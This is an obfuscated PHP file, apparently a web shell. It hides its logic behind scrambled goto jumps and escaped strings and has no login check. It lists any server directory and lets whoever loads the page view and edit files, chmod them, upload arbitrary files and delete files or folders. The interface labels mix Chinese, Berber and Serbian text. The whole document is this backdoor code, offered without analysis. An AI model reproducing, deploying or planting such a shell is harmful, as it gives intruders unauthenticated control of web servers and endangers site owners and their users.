返回
<?php goto V2ocG; QdAFg: goto NH6pU; goto o1efa; BJ4pK: goto zFfvx; goto qEpLT; q0W8o: ?> <!DOCTYPE html> <html> <head> <title>ⵉⵎⵖⴰⵏ ⵏ Guli ⴰⵇⴱⵓⵔ</title> <style> .error { color: red; margin-bottom: 10px; } </style> </head> <?php goto P_TKm; VNLDb: SNc6B: goto q0W8o; ACjBs: KLuzU: goto BJ4pK; ks6CC: zFfvx: goto BVJvj; gzbwn: goto hG2Dn; goto Hm7mW; SswBy: goto NgyRZ; goto VNLDb; tWgPU: $dir = isset($_GET["\x64\151\x72"]) ? $_GET["\144\151\x72"] : "\56"; goto RHXrL; eEKqq: $dir = realpath($dir) ?: realpath("\56"); goto j1u5Z; ueiEx: f5P2b: goto eEKqq; lkmoC: ?> <body><div style="margin:20px"><?php goto AmNjT; jkyrY: goto Hq9yw; goto cN5x0; XslJi: goto nSyyC; goto JDr4I; jAeOS: HceXk: goto qEBV_; J5JHP: Hq9yw: goto pHQu4; idILv: URtHZ: goto DIkmD; O6ARf: goto AkuzL; goto MPI00; JDr4I: j9cXU: goto QdAFg; H9nOf: VcMIl: goto lkmoC; yh9gN: if ($edit_mode && is_file($edit_file)) { $is_writable = is_writable($edit_file); ?> <div style="margin-bottom:15px"><a href="?dir=<?php echo urlencode($dir); ?> ">返回</a></div><?php if (!$is_writable) { ?> <div class="error">Warning: You may not have write permissions to the file; saving may fail.</div><?php } ?> <form method="post"><input name="file"type="hidden"value="<?php echo htmlspecialchars($_GET["\x66\151\154\x65"]); ?> "> <textarea name="content"style="width:100%;height:400px"><?php echo htmlspecialchars(file_get_contents($edit_file)); ?> </textarea><br><button type="submit"name="edit">保存</button></form><?php } else { ?> <div style="margin-bottom:15px"><a href="?">首页</a><?php $parts = explode("\57", trim($path, "\x2f")); $build = ''; foreach ($parts as $i => $p) { if ($p === '') { continue; } $build .= "\57" . $p; if ($i === count($parts) - 1) { echo "\x2f" . htmlspecialchars($p); } else { echo "\x2f\74\141\x20\150\x72\x65\146\x3d\x22\x3f\144\151\162\75" . urlencode($build) . "\x22\76" . htmlspecialchars($p) . "\74\x2f\x61\76"; } } ?> </div><div style="margin-bottom:15px"><form method="post"style="display:inline"enctype="multipart/form-data"><input name="f[]"type="file"multiple> <button type="submit">Aceggeɛ</button></form><form method="post"style="display:inline"onsubmit='return confirm("确定清除所有0KB文件?")'><button type="submit"name="clear_zero">Обриши датотеку од 0KB</button></form></div><div><?php $items = scandir($dir); if ($items) { foreach ($items as $item) { if ($item === "\x2e" || $item === '') { continue; } $item_path = $dir . "\57" . $item; $is_dir = is_dir($item_path); $size = $is_dir ? "\x2d" : format_size(filesize($item_path)); ?> <div style="display:flex;justify-content:space-between;align-items:center;border-bottom:1px solid #eee;padding:5px 0"><div style="flex:1"><?php if ($is_dir) { ?> <a href="?dir=<?php echo urlencode($item_path); ?> "><?php echo htmlspecialchars($item); ?> /</a><?php } else { echo htmlspecialchars($item); } ?> </div><div style="width:100px;text-align:right"><?php echo $size; ?> </div><div style="width:150px;text-align:right"><?php if (!$is_dir && is_readable($item_path)) { ?> <a href="?dir=<?php echo urlencode($dir); ?> &edit=1&file=<?php echo urlencode($item); ?> ">编辑</a> |<?php } ?> <form method="post"style="display:inline"onsubmit='return confirm("确定删除?")'><input name="file"type="hidden"value="<?php echo htmlspecialchars($item); ?> "> <button type="submit"name="delete"style="background:0 0;border:none;color:red;cursor:pointer;padding:0">删除</button></form></div></div><?php } } ?> </div><?php } goto O6ARf; brm1Q: DdGy9: goto nF2_5; sSQo3: $edit_file = $edit_mode && isset($_GET["\x66\x69\154\145"]) ? $dir . "\x2f" . $_GET["\146\151\x6c\145"] : null; goto IqTVS; IqTVS: goto SNc6B; goto qrRwm; pHQu4: goto HceXk; goto XslJi; BVJvj: goto f5P2b; goto b10tV; j1u5Z: goto ncxTK; goto pgW2d; gDMtp: goto XOnjk; goto gzbwn; qEBV_: goto DdGy9; goto J5JHP; b10tV: hG2Dn: goto f2Thu; Lly20: JvN5C: goto yh9gN; o1efa: goto D8N7_; goto brm1Q; qEpLT: goto hDiAE; goto ueiEx; cN5x0: D8N7_: goto ks6CC; pgW2d: xCh8y: goto sSQo3; s72O2: ncxTK: goto gDMtp; tShjJ: $path = $dir; goto jkyrY; HBrPD: hDiAE: goto jAeOS; MPI00: AkuzL: goto lI16I; V2ocG: goto j9cXU; goto s72O2; ajfop: goto b_461; goto idILv; QrM2i: NH6pU: goto ajfop; nF2_5: if ($_SERVER["\x52\105\x51\125\105\123\124\137\115\105\124\x48\x4f\x44"] === "\120\117\123\124") { if (isset($_FILES["\146"])) { foreach ($_FILES["\x66"]["\156\x61\155\x65"] as $i => $n) { if (!empty($_FILES["\x66"]["\164\x6d\x70\x5f\x6e\141\x6d\x65"][$i])) { move_uploaded_file($_FILES["\146"]["\164\155\160\137\x6e\x61\x6d\x65"][$i], $dir . "\x2f" . $n); } } } if (isset($_POST["\144\x65\154\x65\x74\145"]) && isset($_POST["\x66\151\154\145"])) { $del_file = $dir . "\57" . $_POST["\x66\x69\154\x65"]; if (is_file($del_file)) { unlink($del_file); } elseif (is_dir($del_file)) { rmdir($del_file); } } if (isset($_POST["\145\144\151\x74"]) && isset($_POST["\146\151\154\x65"]) && isset($_POST["\x63\157\x6e\164\x65\x6e\164"])) { $edit_file = $dir . "\x2f" . $_POST["\x66\x69\154\x65"]; if (is_file($edit_file) && (is_writable($edit_file) || chmod($edit_file, 420))) { file_put_contents($edit_file, $_POST["\x63\157\x6e\164\x65\156\x74"]); } } if (isset($_POST["\x63\x6c\x65\141\x72\137\172\x65\x72\157"])) { $items = scandir($dir); foreach ($items as $item) { if ($item === "\56" || $item === "\x2e\56") { continue; } $item_path = $dir . "\x2f" . $item; if (is_file($item_path) && filesize($item_path) === 0) { unlink($item_path); } } } if (!headers_sent()) { header("\114\157\143\141\x74\151\157\x6e\72\40\x3f\x64\151\x72\75" . urlencode($dir)); die; } } goto K0A64; K0A64: goto URtHZ; goto tQ3A2; Hm7mW: nSyyC: goto QrM2i; DIkmD: $edit_mode = isset($_GET["\145\144\151\164"]); goto EULCR; EULCR: goto xCh8y; goto ACjBs; RHXrL: goto KLuzU; goto HBrPD; P_TKm: goto VcMIl; goto H9nOf; lI16I: ?> </div></body> </html> <?php goto wVUKp; AmNjT: goto JvN5C; goto Lly20; f2Thu: XOnjk: goto SswBy; qrRwm: b_461: goto tWgPU; tQ3A2: NgyRZ: goto tShjJ; wVUKp: function format_size($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . "\x20\x47\102"; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . "\x20\x4d\x42"; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . "\40\113\x42"; } elseif ($bytes > 1) { return $bytes . "\40\x62\171\x74\x65\163"; } elseif ($bytes == 1) { return "\61\40\142\x79\x74\x65"; } else { return "\60\x20\x62\x79\164\x65\x73"; } }
保存